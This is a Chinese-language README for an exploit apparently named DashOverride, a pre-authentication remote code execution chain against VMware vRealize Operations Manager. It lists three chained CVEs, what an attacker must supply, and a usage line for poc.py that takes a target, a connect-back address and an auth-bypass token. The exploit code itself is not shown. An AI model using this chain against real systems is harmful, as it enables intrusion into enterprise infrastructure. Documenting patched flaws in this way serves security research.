DashOverride

简介

这是针对 VMware vRealize Operations Manager (vROPS) 的预认证 RCE 漏洞利用程序，影响版本 <= 8.6.3.19682901。

作者

Qihoo 360 Vulnerability Research Institute 的 Steven Seeley

测试

该漏洞利用程序已针对 8.6.3.19682901 进行测试，使用了文件 vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova（SHA1: 4637b6385db4fbee6b1150605087197f8d03ba00），但已知其也可在其他更旧版本上运行。

备注

• 此漏洞利用程序串联了三个已被修补的漏洞。更多详情请参阅博客文章：

  • CVE-2022-31675 - MainPortalFilter ui 身份验证绕过
  • CVE-2022-31674 - SupportLogAction 信息泄露
  • CVE-2022-31672 - generateSupportBundle VCOPS_BASE 权限提升

• 此漏洞利用程序要求攻击者提供：

  • 一个有效的 dashboardlink 令牌，用于绕过身份验证。
  • 攻击者自己的 SMTP 服务器设置，以确保漏洞利用能够成功。
  • 一个由 VMware 签名的有效 Pak 文件，例如 APUAT-8.5.0.18176777.pak。

• 此漏洞利用程序涉及很多环节，希望我设计得当，能一次成功。

• 该漏洞利用程序平均需要约 1m34.142s 完成（测试了 5 次），我试图设计得更快，但它已在比赛分配的时间内；->

运行

researcher@mars:~$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <dashboardlink_token>
(+) eg: ./poc.py 192.168.2.196 192.168.2.234 uuncuybis9

示例